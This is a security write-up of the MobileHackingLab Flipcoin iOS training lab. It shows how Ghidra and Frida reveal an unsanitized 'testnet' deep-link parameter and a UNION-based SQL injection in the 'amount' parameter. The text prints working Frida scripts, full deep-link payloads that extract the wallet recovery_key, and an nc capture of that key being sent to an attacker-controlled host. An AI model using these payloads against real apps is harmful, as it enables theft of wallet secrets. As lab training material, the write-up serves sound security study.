Exploiting Unsanitized URL Handling and SQL Injection through Deep Links in iOS App: Write-up of Flipcoin Lab

Breaking Down Data Exfiltration via Unsanitized URL Handling and SQL Injection through Deep Links

In the name of Allah, the Most Gracious, the Most Merciful.

📌 This write-up is also available on Medium in the publication of the company where I’m employed. Feel free to check it out if you find Medium’s format more convenient: https://medium.com/haktrak-cybersecurity-squad/exploiting-unsanitized-url-handling-sql-injection-via-deep-links-in-ios-app-write-up-of-flipcoin-066899b09fc2


This write-up will be presented in two different approaches:

  • For those who only need the key points of this finding (InshaAllah, this will save a lot of time if the reader is already familiar with the flow) — please refer to the TL;DR section.
  • And for those who need a fundamental explanation along with the flow of execution behind this finding, InshaAllah, this section will provide insights into key mindsets and help expand understanding.

As a note, this write-up will cover:
• A basic explanation of URL schemes and deep links
• Overview of iOS App Directory Structure
• Finding additional parameters in the app by using Ghidra
• Locate the SQLite database within the target app
• Hooking the process with Frida to detect the sqlite3_prepare function
• Monitoring database queries processed at the preparation stage using Frida
• Crafting the SQL Injection payload

In addition, some sections of this write-up — such as installing the necessary tools (OpenSSH, Zip, Sideloadly, and Ghidra), copying and installing the iOS app binary, and loading it into Ghidra — are similar to those in the previous write-up. To avoid repetition, these parts will be summarized briefly here.


I. TL;DR

Here are the key steps in this issue:

  • Obtaining the deep link from the QR code in the application.
  • Reversing the app’s binary to identify potential additional parameters in the deep link.
  • Discovering the testnet parameter and dev URL (refer to sections 5.5.1 and 5.5.2).
  • Injecting the testnet parameter into the deep link and setting it to our web server’s IP. The server receives a request from the app, confirming that the testnet parameter is not sanitized (section 5.6.2).
  • Locating the SQLite database storing sensitive data and examining its contents. A table with 5 columns is found (sections 6.2 and 6.3).
  • Identifying the use of sqlite3_prepare to process queries (section 6.4).
  • Injecting into the amount parameter, confirming query reflection (section 7.1).
  • Exploiting UNION-based SQL Injection to extract the recovery_key (section 7.3).
  • Summary: since this is a local SQL Injection that requires physical access, then it can be combined with the unsanitized testnet parameter to exfiltrate the extracted data to an attacker-controlled host.
  • Tools used: Ghidra, Frida, DB Browser for SQLite, Terminal, Sideloadly, SSH, nc.

II. Introduction

Whether in application security testing for web or mobile applications, understanding the application’s flow — including how it receives and processes input — is essential for effectively identifying potential vulnerabilities. This understanding is important because security risks can emerge from multiple layers, ranging from the end user (customer) and operational management behind the scenes to the technical components supporting the application.

For example, an application that may appear secure from a customer’s perspective, with proper authentication and access controls in place, yet still harbors risks due to backend misconfigurations or excessive privileges. For instance, an internal dashboard connected to an API endpoint may allow unrestricted database queries, enabling employees to retrieve customer records beyond what is necessary for operational purposes, without proper filtering or logging. Without a clear grasp of how data flows within the system and how each layer interacts, security testing is at risk of becoming less effective, potentially leading to overlooked vulnerabilities or inefficient exploitation.

In practice, this principle applies not only to backend misconfigurations but also to other security risks that arise due to an incomplete understanding of an application’s flow. A case that illustrates this well is the Flipcoin Lab, which we encountered while exploring the free iOS Application Security course provided by MobileHackingLab. At its core, the challenge revolves around exploiting SQL injection through the application’s deep link mechanism. However, beyond its technical focus, what stands out most is how it reinforces the importance of understanding an application’s flow. Given its relevance to real-world challenges, we decided to explore this topic further in this write-up.


III. Setting Up the Testing Environment

As before, the first step to prepare after jailbreaking the device is to install and configure several tools to facilitate interaction with it. These essential tools include OpenSSH, Zip, and Frida Server on iOS, along with Frida, Ghidra, and Sideloadly on the desktop.


3.1. Setting Up Tools on iOS Device

3.1.1. Installing OpenSSH and Zip
To recap, OpenSSH is installed through the package manager (such as Cydia or Sileo), while zip is installed by running apt install zip in the iOS shell.

OpenSSH and Zip

3.1.2. Installing Frida Server
For Frida Server, an additional repository needs to be added. In the package manager, add the repository at https://build.frida.re/. Once added, locate the appropriate Frida Server package and proceed with the installation.

Installing Frida Server

After installation, verify it by connecting to the device via SSH and checking the installed Frida version to ensure everything is set up correctly.

Verify the Installed Frida Server

3.2. Setting Up Tools on the Desktop

Upon installing the necessary tools on the iOS device, the next step is to set up the required tools on the desktop. Although the installation process is largely similar across operating systems, it’s worth noting that certain tools, such as Sideloadly, are currently only supported on macOS and Windows.


3.2.1. Installing and Setting Up Frida
There are plenty of tutorials available online for installing Frida. However, to streamline the process, I personally used pip3.

$ pip3 install frida-tools

Once installed correctly, Frida will be located in the directory /Users/username/Library/Python/x.x/bin, although the exact path may vary depending on user’s environment.

Location of Frida that has been Installed

To make Frida easily accessible from any terminal session, we can update our shell configuration file (such as .zshrc for Zsh or .bash_profile for Bash) by adding the directory to our PATH variable. After making this change, Frida will be accessible from anywhere in the terminal.

Adding the Directory to Our PATH Variable
Check for the Frida Version that has been Installed

3.2.2. Installing Sideloadly
As a recap, this tool simplifies app sideloading on iOS devices by bypassing App Store restrictions. It is particularly useful for testing unsigned apps or deploying modified versions for penetration testing. However, keep in mind that:

  • If a free Apple ID is used, the installed app will only function for 7 days before requiring re-signing.
  • In some cases, Sideloadly may not be necessary if the app is already signed or originates from a trusted source.
  • Sideloadly is only available for macOS and Windows.
Interface of Sideloadly

3.2.3. Installing Ghidra
Unlike the previous write-up, which extensively used Ghidra for binary patching, in this case, Ghidra is mainly needed to analyze the parameters an application uses when processing a request.

Interface of Ghidra

In short, Ghidra can be downloaded from its GitHub page. After downloading, extract the files and launch the application by running ./ghidrarun in an environment where JDK is already installed.


With the necessary environment in place, we can proceed with the execution process. The number of tools used in this session is intentionally limited, as the primary focus is on exfiltrating data using SQLi via deep link.


IV. Downloading and Installing the Binary

Since we’ll be using our own device for testing, then the first step is to download the binary and install it using Sideloadly.

However, if you don’t have an iOS device yet — whether due to specific considerations or other reasons — you can use the virtual device provided by MobileHackingLab, which is available through a subscription.

Download the Binary from the Lab Dashboard
Installing the Binary Using Sideloadly

In short, once the app is installed via drag-and-drop, it won’t run immediately. Before launching it, we need to verify that it comes from a trusted developer. This is a standard step since the app was signed using a free Apple ID.

To do this, go to Settings → General → VPN & Device Management, then locate and verify the developer profile listed in this menu.

Change the Trust in Settings

Afterward, the app will be installed.

Interface of Flipcoin Lab

Can’t Download the App? Try This Instead.

If the download link for the binary is inaccessible (as we experienced with the No-Escape Lab), it is still possible to obtain the binary by extracting it directly from the virtual device provided by MobileHackingLab.

Accessing the App via MobileHackingLab’s Virtual Device

So, once connected to the virtual device, the first step is to locate the app by running:

find /var/containers/Bundle/Application/ -name “*.app”

After identifying the app directory, navigate to it and archive the directory inside a folder named “Payload”.

Copy the App

As a quick reminder, iOS requires the .app bundle to be placed inside a ‘Payload’ folder for proper recognition and installation. Failing to follow this structure may result in errors, such as ‘guru meditation b4822c@:*** can’t listdir a file’ when using Sideloadly.

Upon completing the packaging, the .zip file can be transferred from the iOS device to the desktop using the following command:

scp root@10.11.1.1:/tmp/Flipcoin.zip .

Copy the App

V. Exploring URL Scheme and Deep Link in a Target

Given that the vulnerability and objective of this lab are already known — performing SQL injection through a deep link — the process of understanding the application’s flow can be more focused by identifying the deep link in use.

However, in real-world scenarios, it is important to note that when analyzing an application, one of the key steps is to thoroughly understand each function within the application. This will help testers identify potential vulnerabilities, such as features that could be abused, design flaws, or access control issues.

Testers can then refine this approach by exploring how the application handles unusual inputs and analyzing the resulting outputs. This process helps uncover potential gaps, such as authorization issues, input validation weaknesses, or unencrypted communications.

Furthermore, it’s also essential to assess the application across multiple layers, from the end-user level to the backend. By evaluating how each layer interacts, testers can identify potential vulnerabilities that may not be visible through a single lens.


5.1. Few Words about Application’s URL Scheme and Deep Link

Before diving deeper, it is useful to first understand the concepts of URL schemes and deep links, as they play a key role in how applications handle external requests.

5.1.1. So, What is URL Scheme?
A URL scheme is a way for an app to tell the operating system how to open the app using a special link. It’s like providing a shortcut to open a specific part of the app without having to manually search for it.

For example, Facebook might use a URL scheme like fb://. So, when we click a link that starts with fb://, the operating system knows to open the Facebook app.

It’s important to note that some apps require an additional endpoint after the URL scheme to function properly. This is where the concept of a deep link comes in — a combination of the URL scheme and a specific endpoint that guides the app to a particular section or action.


5.1.1.1. What if the App is not Installed?
If the application associated with the URL scheme is not found on the operating system, the system will show an error message, as it doesn’t recognize the URL scheme. This is because URL schemes are only registered when an app is installed on the device.


5.1.1.2. I’ve Noticed that Apps not Installed can still Redirect to the App Store. How Does that Happen?
This happens through a different process. When we click on a regular web URL (for example: https://myapp.com/profile),instead of a direct URL scheme (myapp://), the link first opens in a web browser. From there:

  • The webpage tries to open the app using its URL scheme.
  • If the app isn’t installed, it redirects to the App Store.

This process happens quickly and seamlessly, often using Universal Links (iOS) or App Links (Android), which are more advanced than basic URL schemes.


5.1.2. Then, What is Deep Link?
A deep link is a specific type of URL that uses a “registered URL scheme” to direct the user to a particular page or action within an app. While a regular link might open a webpage, a deep link opens a specific screen or section inside the app. In short, deep links rely on URL schemes to trigger these actions.

For example, on Facebook, a deep link might look like this: fb://profile/[user_id]. This link would open the Facebook app directly to the user’s specific profile.

So, as a recap for clarity:

  • Facebook URL scheme: fb://
  • Facebook deep link: fb://profile/[user_id]

By using this deep link, users are directed straight to the specific profile page within the Facebook app, bypassing the need for navigation through other sections of the app.


5.2. Identifying URL Schemes in a Target

One of the simplest ways to identify the URL scheme used by the target is by reviewing the Info.plist file found within the app’s bundle. This information is typically located under the CFBundleURLTypes parameter.

Locating the Info.plist File within the Binary

For reference, CFBundleURLTypes is a mandatory component in the iOS system used to register an app’s URL scheme. This parameter defines how the iOS system recognizes and directs a specific URL scheme to the appropriate app.

Technically, within CFBundleURLTypes, there are two main parameters:

  • CFBundleURLSchemes → Used to define the scheme that will be used. Example: “fb” for Facebook.
  • CFBundleURLName → Typically contains information related to the app’s bundle identifier.

In the case of the Flipcoin app, we find that the app’s bundle is named com.mobilehackinglab.flipcoinwallet and the URL scheme used is flipcoin.

CFBundleURLTypes inside Info.plist File

I Found Info.plist, But it is not Readable. Why?

If the Info.plist file found cannot be opened in plain text, it is likely that the file has been converted into a binary property list. This format is commonly used in iOS for storing plists in current app development, as it is considered more efficient in several aspects, such as file size and parsing speed.

If this occurs, there are several methods that can be used to read the file:

  • Using Xcode directly. When opened in Xcode, the application will automatically display the file in a more readable format.
  • Alternatively, we can also use plutil (a built-in tool on macOS). This can be done by using the following command: plutil -convert xml1 Info.plist -o Info.xml.

5.3. Identifying Deep Link in a Target.

The question now is, how can the deep link in this application be identified? In general, deep links can be discovered using various methods, including binary analysis with tools like Ghidra. However, in this case, we found that a QR code within the app directly leads to a link in the format http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1.

When this link is visited in the browser, it uniquely informs the user that the server can’t be found. Upon further inspection, it turns out that the browser is stripping away the colon (:) following flipcoin. There is a possibility that this occurs because the browser first encounters the http:// prefix, which it recognizes as a standard web protocol. As a result, it misinterprets the custom URL scheme flipcoin:// as part of the domain name, then removes the colon after flipcoin, and ultimately leads to an invalid URL.

Failed to Recognize the Deep Link

However, when the http:// prefix is removed from the scanned QR code result, the remaining link becomes valid and successfully redirects to the application. This confirms that the deep link exists in the format flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1.

Open the Deep Link

5.4. Validating and Opening Deep Links in iOS

Now that the deep link format has been identified, the next question is: how does iOS process this link when it is triggered? At the core of this process lies the system’s ability to resolve and open URL schemes.

Let’s say a user clicks on a deep link like: flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1

When this happens, iOS first checks if any installed app is registered to handle the flipcoin:// scheme. If a matching app is found, the system launches it and passes the URL as input. Otherwise, the deep link does nothing.


A question that might arise is: how does an app determine whether a deep link is supported before attempting to open it?In such cases, apps typically verify the URL scheme first using:

if UIApplication.shared.canOpenURL(URL(string: "flipcoin://")!) {
}

If the URL scheme is supported, the app can then launch the deep link using:

UIApplication.shared.open(URL(string: "flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1")!)

This behavior allows apps to navigate seamlessly using deep links while preventing unnecessary attempts to open unsupported URLs.

For a deeper understanding, readers can refer to Apple’s official documentation on canOpenURL(_:) and open(_:options:completionHandler:) to see how iOS verifies and launches deep links.


5.5. Analyzing Deep Link Handling through Binary Analysis

After understanding how iOS determines whether a deep link can be opened and how an app responds externally, one question remains: once flipcoin receives a deep link, how does it process it internally?

One way to uncover this is by analyzing the app’s binary, which can reveal how deep links are handled, what parameters are accepted, and whether any undocumented behaviors exist. This may include discovering hidden parameters that influence deep link behavior or identifying endpoints that are not publicly documented.


5.5.1. Searching for openURL References in Ghidra
When analyzing a binary, we can use Ghidra — just as it was previously used to patch a binary for bypassing jailbreak detection in an app.

As a recap from that write-up, in this scenario, we need to:
• Import the binary into Ghidra.
• Enable Decompiler Parameter ID to improve readability.

Once the binary is loaded, what’s the next step?
One possible approach is to search for references to openURL in the Symbol Tree column of Ghidra to identify functions that reference it.

Please note that while modern iOS development relies on canOpenURL(:) and open(:options:completionHandler:), searching for openURL remains useful for binary analysis, because:
• Some apps still retain openURL in legacy or internal implementations.
• Debug information and symbol names often reference this term.


In short, by searching for openURL in the Symbol Tree, we identified a function inside SceneDelegate that appears to handle deep link processing through the openURLContexts property.

Upon further inspection, the function name is revealed as:
_$s15Flipcoin_Wallet13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF

Inside this function, we uncovered an interesting finding — alongside the amount parameter, the testnet parameter was also referenced, suggesting that it may also influence how the deep link is processed.

Below is a snippet of the code where this parameter appears:

_objc_msgSend(local_4d8,"URL");
_objc_retainAutoreleasedReturnValue();
local_6d0 = UVar14.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar14);
(*local_4c8)(UVar16.unknown,local_2d8,local_380);
SVar31 = Foundation::URL::get_absoluteString(UVar16);
...
SVar31 = Swift::String::init("amount",6,1);
...
SVar31 = Foundation::URL::get_absoluteString(UVar16);
...
SVar31 = Swift::String::init("testnet",7,(byte)local_6ac & 1);
Found Few Parameter

5.5.2. Found an Interesting URL
As a small note, when scrolling down a bit further in the same function, we can see the URL https://mhl.pages.dev:8545.

Found a URL

Given my limited understanding, I can only suspect that this URL might be related to testnet.

Based on the flow, it appears that if the testnet value is left empty, the URL defaults to https://mhl.pages.dev:8545.Meanwhile, if a value is provided, it seems that the URL is taken from that input instead.

However, when attempting to execute the deep link with an empty testnet value, the application unexpectedly crashes. This raises some uncertainty about whether the initial assumption is actually correct.


5.6. Reconstructing the Deep Link

Now, let’s get back to the main topic. After identifying an additional parameter, testnet, the next logical step is to verify whether this parameter can be used in the deep link we initially discovered via the QR code.

As a quick recap, the original deep link we found was:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1

Now, we will attempt to add the testnet parameter to it. Since there is a possibility that this parameter accepts a URL, we can try using our own host for this parameter. This can be tested using nc or other similar tools.

In short, the modified deep link would be:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177

So how do we open this URL? There are multiple ways to do it. We can generate a QR code using a service like qr-code-generator.com and scan it, or we can use Frida to execute it directly.

Sample with QR Code Generator Service

5.6.1. Testing Deep Link Parameters with Frida
Now, let’s say we choose Frida to make things simpler — so we don’t have to generate a QR code every time we modify the deep link. But what kind of script do we need for this?

As a reference, there’s a well-known Frida script called ios-deeplink-fuzzing, that can be used to detect URL schemes, access deep links directly using Apple’s API, and even fuzz parameters to analyze how an app handles deep linking.

However, since our focus here is simply executing a specific deep link rather than performing a full fuzzing process, we can simplify the approach. Based on the original script, we modified it into the following minimal version:

if (ObjC.available) {
var LSApplicationWorkspace = ObjC.classes.LSApplicationWorkspace;
if (!LSApplicationWorkspace) {
console.log("LSApplicationWorkspace not found!");
} else {
globalThis.execURL = function (url) {
var workspace = LSApplicationWorkspace.defaultWorkspace();
var success = workspace.openSensitiveURL_withOptions_(ObjC.classes.NSURL.URLWithString_(url), null);
console.log("Attempted to execute URL:", url, "| Success:", success);
return success;
};

console.log("execURL is now available. Use execURL('scheme://path') in Frida.");
}
} else {
console.log("Objective-C Runtime is not available!");
}

When this script is injected into a running iOS app using Frida, it first checks if the Objective-C runtime is available. Then, it accesses LSApplicationWorkspace to interact with installed apps and defines execURL, a function that opens deep links using openSensitiveURL_withOptions_. Finally, it makes execURL available globally, so it can be run directly from the Frida.


With this in place, we can execute a deep link inside Frida by running:
execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177");

Executing Deep Link inside Frida

If you’re not yet familiar with Frida, the frida-ps -U command is used to enumerate running processes on an iOS device (make sure your device is connected to the host machine running Frida).

To make things easier, we can apply a filter using grep, which is available on macOS and Linux-based OS, to refine the results:
% frida-ps -U | grep Flipcoin

Once we have the process ID of the target application, we can proceed with:
% frida -U -p (process_ID) -l execURL.js

Please take a note that execURL.js refers to the modified script we created earlier.


5.6.2. Observing the Application’s Response and Found an Unrestricted Testnet Parameter Allowing Arbitrary URLs
At first, when sending a request with amount=1 (the default value from the QR code) and setting testnet to our host’s IP address, we encountered a message stating that we didn’t have enough Flipcoins to complete the transaction.

Test amount = 1
Don’t have enough Flipcoins

To explore further, we modified the amount to 0.1 and 0.2, considering that the in-app balance was 0.3654. This time, the app redirected us to the fund transfer interface.

Test amount = 0.1 or 0.2
The Application Redirects us to the Transaction Page.

More interestingly, we noticed that the application sent a request to the nc listener running on our host.

Response from the nc

This confirms the assumption that the testnet parameter accepts a URL. Moreover, it appears that no whitelist is enforced on this parameter, allowing arbitrary URLs to be provided.

The best part? When the app executes a deep link pointing to our host via testnet, it actually sends a request — one that includes what seems to be the Flipcoin address used by the application.

By the way, we can also use an interceptor tool like Burp Suite to inspect the request.

Response in the Interceptor Tools

So, in summary, when we access a deep link that includes a URL, the application indirectly converts it into a POST request to the URL specified in the testnet parameter.

After receiving a request like this in our web server/interceptor, the next step is to examine the database structure used by the application. This will help us determine where the transmitted values are stored and how they might be manipulated.


VI. Analyzing SQLite Usage within an App

Generally, mobile applications rely on lightweight DBMS for local storage, and one of the most commonly used choices is SQLite.

Its popularity stems from being a self-contained, serverless, and efficient database engine that requires minimal setup. Since both iOS and Android provide built-in support for SQLite, developers can leverage its SQL capabilities without additional dependencies. Furthermore, SQLite’s fast read/write operations and low resource consumption make it ideal for storing user data, caching, and application configurations.

With this in mind, we now proceed to identify whether this application utilizes SQLite and where its database is stored.


6.1. Few Words about the Application Directory in iOS

In iOS, applications store local data within their sandboxed directories. A common location for persistent data, including SQLite databases, is the Library or Documents folder inside the application’s container.

Technically, each application has an isolated storage structure, typically as follows:

/var/mobile/Containers/Data/Application/<App_UUID>/
├── Documents/
├── Library/
│ ├── Application Support/
│ ├── Caches/
├── tmp/

Here, <App_UUID> is a unique identifier assigned to each application, which changes when the app is reinstalled.

And below is a brief overview of these directories and their functions:

  • Documents/ – Used for storing user-generated content. Some applications place databases here, but this location is more common for files that might be shared or backed up via iCloud. Since this directory is included in iCloud backups, developers typically avoid storing sensitive data here unless necessary.
  • Library/ – This directory commonly stores application-related data, including SQLite databases, configuration files, and caches. While Application Support often contains persistent storage such as local databases, Cachesholds temporary data that can be regenerated when needed. Note: unlike the Documents directory, Library is not directly accessible by users but remains available for app-internal operations.
  • tmp/ – Temporary files that may be deleted by the system at any time.

6.2. Locating the SQLite Database

To determine whether an application uses SQLite and where its database is stored, a common approach is to establish an SSH connection to the device and inspect its filesystem directly.
$ find /var/mobile/Containers/Data/Application/ -name “*.sqlite”

Looking for .sqlite File

Essentially, we can refine the results by using grep to filter database files related to the application. However, developers do not always name SQLite files after the application itself. For this reason, I personally recommend taking the time to manually review the directory contents to ensure that nothing important is overlooked.

For reference, this application contains 4 SQLite files::

• your_database_name.sqlite located in the Documents directory
• Flipcoin_Wallet.sqlite located in /Library/Application Support/
• AlternativeService.sqlite located in /Library/Caches/...
• httpstorages.sqlite located in /Library/HTTPStorages/...

Among these, the database storing actual data is the one located in the Documents directory, which is your_database_name.sqlite.

sqlite Files

Sometimes, within a directory that contains an SQLite file, you may also come across files with sqlite-wal and sqlite-shm extensions. If you’re wondering what these files are, they are supporting files used when SQLite operates in Write-Ahead Logging (WAL) mode.

• -wal (Write-Ahead Log): Stores uncommitted transactions before they are written to the main database file.

• -shm(Shared Memory): Manages concurrent access to the database to ensure consistency.

Regardless, we can ignore them and focus on the .sqlite file.


6.3. Exploring the Contents of an SQLite Database

Now that we have identified the database file, we can explore its contents to understand its structure and stored data.

Technically, this can be done using various tools, such as the sqlite3 CLI or DB Browser for SQLite. Regardless of the tool, we need to open your_database_name.sqlite to examine its structure.

Copy the sqlite File to Local Computer

So, upon inspection, we found that the wallet table consists of 5 columns, namely idaddresscurrencyamount, and recovery_key. While we’ve obtained the flag, the objective must be achieved through SQL injection, not by using this method or reversing the binary.

Found the Table

However, on the money transfer screen, only amount and address from row 1 are displayed.

Only Amount and Address from Row 1 are Displayed

That said, when intercepting requests, we can only observe that the application sends a request containing the address and, perhaps, the id from row 1.

Only Address and, perhaps, the id from row 1 are Displayed

6.4. Determining SQLite Function Usage with Frida

Once we understand the structure of the SQLite database used by the app, we can proceed to determine how queries are handled, particularly during the preparation stage, when applicable, before execution.

Although the core SQL syntax (like SELECT, INSERT, UPDATE, and DELETE) remains consistent, I believe that observing which SQLite prepare function is being used can provide valuable insights into how the application constructs its queries.

By intercepting database calls that go through SQLite’s preparation functions using Frida, we can observe queries as they are being prepared. Since iOS apps typically rely on libsqlite3.dylib to handle SQL queries, hooking into these functions helps us understand how queries are handled at the preparation stage.

The following Frida script demonstrates this approach:

const SQL_PREPARE_VARIANTS = [
"sqlite3_prepare",
"sqlite3_prepare_v2",
"sqlite3_prepare_v3",
"sqlite3_prepare16",
"sqlite3_prepare16_v2",
"sqlite3_prepare16_v3"
];

SQL_PREPARE_VARIANTS.forEach(interceptSQLiteFunction);

function interceptSQLiteFunction(prepareFunction) {
let dbFunction = Module.findExportByName("libsqlite3.dylib", prepareFunction);

if (!dbFunction) {
return;
}

Interceptor.attach(dbFunction, {
onEnter(args) {
let query = args[1];
let isUTF16 = prepareFunction.endsWith("16") ||
prepareFunction.includes("prepare16");

logQueryDetails(prepareFunction, query, isUTF16);
},
onLeave(returnValue) {}
});
}

function logQueryDetails(funcName, query, isUTF16) {
let timestamp = new Date().toISOString();
let queryText = isUTF16 ? query.readUtf16String() : query.readCString();

console.log("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
console.log(`⏰ Time: ${timestamp}`);
console.log(`📌 Function: ${funcName}`);
console.log(`📝 Encoding: ${isUTF16 ? 'UTF-16' : 'UTF-8'}`);
console.log(`🔍 Query: ${queryText}`);
console.log("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
}

As a reference, there are six variations of the sqlite3_prepare function, each with slight differences in parameters and behavior. These include:
• sqlite3_prepare
• sqlite3_prepare_v2
• sqlite3_prepare_v3
• sqlite3_prepare16
• sqlite3_prepare16_v2
• sqlite3_prepare16_v3

For a detailed explanation of the differences between these functions, refer to the official SQLite documentation.


After ensuring that this script has been saved (for example, as sql-detect.js), the next step is to load it into the Flipcoin Wallet application process using Frida. Once the hooking process is running, we can open the deep link using the chosen method.

Please note:

  • If we use a QR code, we simply generate the link in QR format and scan it with the device.
  • However, if we open the deep link via execURL.js, then we need to load this script alongside the SQL function detection script.

In this case, we decided to use the execURL.js script that we created earlier, so both scripts need to be loaded simultaneously when hooking into the application.

% frida -U -p (process_ID) -l sql-detect.js -l execURL.js

Executing with amount=1
Executing with amount=0.1

In short, based on this execution, we can see that the application uses sqlite3_prepare. One positive aspect is that we can also monitor every query executed by the database each time we perform an action.

Whether sent with an amount greater or less than the available balance, the result remains the same.


VII. Performing SQL Injection on the “amount” Parameter

Since we have gathered all the necessary information — such as the database type, table names, column count and names, as well as the data displayed in the interface and sent in requests to external hosts — we can now proceed to our main objective, which is executing SQL Injection.

However, it is important to note that in real-world testing, vulnerabilities are not always immediately apparent. Therefore, every feature across different user layers must be thoroughly tested to determine its susceptibility to SQL Injection or other forms of attack.

Returning to the topic, the most straightforward way to test for SQL Injection is by directly injecting SQL queries and observing the resulting response.

Since the previously loaded sql-detect.js script allows us to see every query executed during an action, analyzing the application’s response to our injection attempts becomes significantly easier.


7.1. The Basic Test

There is a basic concept that we need to know. When an application is vulnerable to SQL Injection and the query results are reflected in the response, modifying a parameter’s value can directly influence the retrieved data.

To test this, we attempt an injection using AND id=2; payload in the amount parameter. The reason for targeting this parameter is that changes to its value directly affect the output, suggesting that it interacts with the database. So technically, if the response changes as expected with this payload, it confirms that the parameter is being processed as part of the database query without proper sanitization.

Initial deep link with payload: execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20AND%20id=2;&testnet=http://192.168.18.177");

Injection Process

So, what’s the result?
From this injection, we observe that the application, which initially displayed the amount and address from id=1, now shows the amount and address from id=2. This confirms that our injected condition (AND id=2;successfully modified the executed SQL query.

Before and After Injection

Now, let’s break down the payload to understand why this works.

  • The AND id=2 part adds a condition to the existing query, forcing the database to return only the row where id=2. This confirms that the parameter is directly influencing the query execution.
  • As for the semicolon (;), it serves as a statement terminator in SQL. However, most modern database management systems execute queries one at a time unless explicitly configured to allow multiple statements per request. In this case, the semicolon does not execute a second query but helps us understand how the input is processed by the application.

In short, the database executes SELECT * FROM wallet WHERE amount > 0.1 AND id = 2;, while the remaining part of the input (AND currency=’flipcoin’ LIMIT 1;) is considered invalid, resulting in no additional output being displayed.


7.2. Moving to UNION-Based SQL Injection

Since we have confirmed that the amount parameter can modify the query’s output, the next step is to check whether we can control what data gets displayed.

From our previous injection (AND id=2;), it proves that the parameter affects the SQL query, but it only changes which row is displayed. To extract useful data, we need a way to insert our own values into the output. This is where UNION-based SQL Injection comes in.

The UNION operator allows combining results from two queries, meaning if the application accepts it, we can inject additional data and even retrieve hidden database information.

So, to test this, we use the following payload:

%20UNION%20SELECT%20'a1','b2','c3','d4','e5'

Deep link with new payload:
execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a1',’b2',’c3',’d4',’e5';&testnet=http://192.168.18.177");

Injection Process with 2nd Playload

Why this payload?

  • Basically, UNION SELECT statement allows us to combine our own query with the original one, which can make the application display data we control.
  • The values ‘a1’‘b2’‘c3’‘d4’‘e5’ are arbitrary placeholders used to check whether any of them appear in the output.

Maybe you’re wondering, why exactly 5 values?

Well, the number of columns in UNION SELECT must match the number of columns in the original query. If the count is incorrect, the database throws an error. Since we previously examined the SQLite file and found that the wallet table contains 5 columns, then we specify five values in our payload.

To learn more about UNION-based SQL Injection, readers can refer to one of PortSwigger Academy’s material, which covers SQL Injection UNION attacks in detail.


So, what did we find?
Surprisingly, the application accepted our payload and displayed b2 in the interface. This confirms that the second column of our UNION query is reflected in the output, meaning we can use it to extract data from the database.

Below is what appeared on the screen:

“b2” Text Appeared on the Screen

And here’s what we captured in the intercepted response:

“b2” Text Appeared in the Request

7.3. Extracting the Target Data — Putting the Pieces Together

Since we have confirmed that the second column of our UNION query appears in the application’s response, we can now attempt to retrieve actual database records. Instead of using arbitrary placeholders, we replace the second value with a subquery designed to retrieve the flag stored in the recovery_key.

To test this, we modify our payload as follows:

%20UNION%20SELECT%20'a',(SELECT%20recovery_key%20FROM%20wallet),'c','d','e';

The deep link should be like:
execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a’,(SELECT%20recovery_key%20FROM%20wallet),’c’,’d’,’e’;&testnet=http://192.168.18.177");

Injection Process with Final Payload

So, the outcome of this payload is that we successfully retrieved the recovery_key from the wallet table.

The “recovery_key” (flag) Appeared in the Screen

Isn’t this a local SQL Injection that requires physical access to the target device? What makes this an issue?

As a recap, since we previously discovered that modifying the testnet value allows the application to send requests to a host we control, crafting a deep link with this final SQLi payload will enable remote extraction of the recovery_keywith a single click.

recovery_key Extraction from Remote Target with Single Click
% nc -lv 80

POST / HTTP/1.1
Host: 192.168.18.77
Content-Type: application/json
Connection: keep-alive
Accept: application/json
User-Agent: Flipcoin%20Wallet/1 CFNetwork/1410.1 Darwin/22.6.0
Content-Length: 153
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br

'{"jsonrpc":"2.0","method":"web3_sha3","params":["FLAG{fl1p_d4_c01nz}}", "7da50a3fe76ad0ea1de171ec47042ce913235c3792628a779f6acc5b07bebd90"],"id":1}'

VIII. Conclusion

And so, we reach at the final section of this write-up. In summary, the application is vulnerable to local SQL Injection, meaning physical access to the device is required to execute the attack. However, by chaining this issue with the unsanitized testnet parameter, the extracted data can be remotely exfiltrated to an attacker-controlled host.

From another perspective, this lab is not just a case study on SQL Injection via deep links — it also reinforces an important lesson, which is that proper testing requires a deep understanding of the application’s flowIn this case, extracting the recovery_key was only possible after identifying the exact table structure used by the application. This situation underscores the importance of looking beyond a single attack vector and assessing the entire system holistically, ensuring a thorough evaluation across multiple layers.


IX. References

Share

You may also like...